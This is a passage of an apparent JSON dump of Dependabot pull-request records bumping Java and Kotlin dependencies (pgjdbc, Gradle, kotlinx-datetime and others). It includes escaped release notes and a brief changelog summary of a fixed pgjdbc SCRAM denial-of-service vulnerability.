href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/...\n\n_Description has been truncated_","html_url":"https://github.com/ministryofjustice/laa-amend-a-claim/pull/413","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/ministryofjustice%2Flaa-amend-a-claim/issues/413","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/413/packages"},{"uuid":"4432859869","node_id":"PR_kwDOMgbniM7a3JXw","number":209,"state":"closed","title":"chore(deps): bump the minor-patch-deps group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":true,"comments_count":1,"pull_request":true,"closed_at":"2026-05-20T01:33:34.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-12T21:47:37.000Z","updated_at":"2026-05-20T01:33:44.000Z","time_to_close":618357,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-patch-deps","update_count":8,"packages":[{"name":"gradle-wrapper","old_version":"9.5.0","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"io.github.oshai:kotlin-logging-jvm","old_version":"8.0.01","new_version":"8.0.02","repository_url":"https://github.com/oshai/kotlin-logging"},{"name":"org.jetbrains.kotlinx:kotlinx-datetime","old_version":"0.7.1","new_version":"0.8.0","repository_url":"https://github.com/Kotlin/kotlinx-datetime"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:slf4j-simple","old_version":"2.0.17","new_version":"2.0.18"},{"name":"io.github.z4kn4fein:semver","old_version":"3.0.0","new_version":"3.1.0","repository_url":"https://github.com/z4kn4fein/kotlin-semver"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-test","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor-patch-deps group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.5.0` | `9.5.1` |\n| [io.github.oshai:kotlin-logging-jvm](https://github.com/oshai/kotlin-logging) | `8.0.01` | `8.0.02` |\n| [org.jetbrains.kotlinx:kotlinx-datetime](https://github.com/Kotlin/kotlinx-datetime) | `0.7.1` | `0.8.0` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| org.slf4j:slf4j-simple | `2.0.17` | `2.0.18` |\n| [io.github.z4kn4fein:semver](https://github.com/z4kn4fein/kotlin-semver) | `3.0.0` | `3.1.0` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-test](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n\n\nUpdates `gradle-wrapper` from 9.5.0 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.5.0...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.github.oshai:kotlin-logging-jvm` from 8.0.01 to 8.0.02\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oshai/kotlin-logging/releases\"\u003eio.github.oshai:kotlin-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.0.02\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix GraalVM native build error caused by stale substitution target in v8.x by \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oshai/kotlin-logging/pull/601\"\u003eoshai/kotlin-logging#601\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\"\u003ehttps://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/accd3ca8cbedefb818f6064ed526fb00a0141064\"\u003e\u003ccode\u003eaccd3ca\u003c/code\u003e\u003c/a\u003e bump version to 8.0.03\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/2bd058ada40799b7e3953b9f7d4a7112a4860fd2\"\u003e\u003ccode\u003e2bd058a\u003c/code\u003e\u003c/a\u003e bump version to 8.0.02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oshai/kotlin-logging/commit/8ab1a8a49d879b06272e088472981e57f56428d6\"\u003e\u003ccode\u003e8ab1a8a\u003c/code\u003e\u003c/a\u003e Fix GraalVM native build error caused by stale substitution target in v8.x (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/oshai/kotlin-logging/compare/8.0.01...8.0.02\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-datetime` from 0.7.1 to 0.8.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-datetime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.8.0\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 0.8.0-rc02\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003ev0.8.0-rc02\u003c/h2\u003e\n\u003cp\u003eEquivalent to \u003ccode\u003erc01\u003c/code\u003e, but published without \u003ccode\u003eInstant\u003c/code\u003e and \u003ccode\u003eClock\u003c/code\u003e.\nA separate compatibility artifact contains them for binary compatibility.\nPlease see \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\"\u003ehttps://github.com/Kotlin/kotlinx-datetime/#deprecation-of-instant\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev0.8.0-rc01\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eorNull\u003c/code\u003e functions for non-throwing construction of datetime entities (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/68\"\u003e#68\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eparseOrNull\u003c/code\u003e extension functions for non-throwing attempts at parsing (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/508\"\u003e#508\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce \u003ccode\u003eLocalIsoWeekDate\u003c/code\u003e for representing \u003ca href=\"https://en.wikipedia.org/wiki/ISO_week_date\"\u003eISO week dates\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/603\"\u003e#603\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eIntroduce functions for finding the next or previous date with the given day-of-week (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/129\"\u003e#129\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTweaks and fixes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix bugs in \u003ccode\u003eInstant.until\u003c/code\u003e and \u003ccode\u003eInstant.periodUntil\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/534\"\u003e#534\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAlways output seconds in the \u003ccode\u003eDateTimeComponents.Formats.RFC_1123\u003c/code\u003e format (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/pull/608\"\u003e#608\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOn Kotlin/Native for Windows, whenever DST transitions are turned off by the user, the current system time zone is now fixed-offset (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/575\"\u003e#575\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx-datetime/blob/master/CHANGELOG.md\"\u003eorg.jetbrains.kotlinx:kotlinx-datetime's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.8.0\u003c/h2\u003e\n\u003cp\u003eBreaking changes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eTimeZone\u003c/code\u003e serialization (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx-datetime/issues/576\"\u003e#576\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAdditions:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd 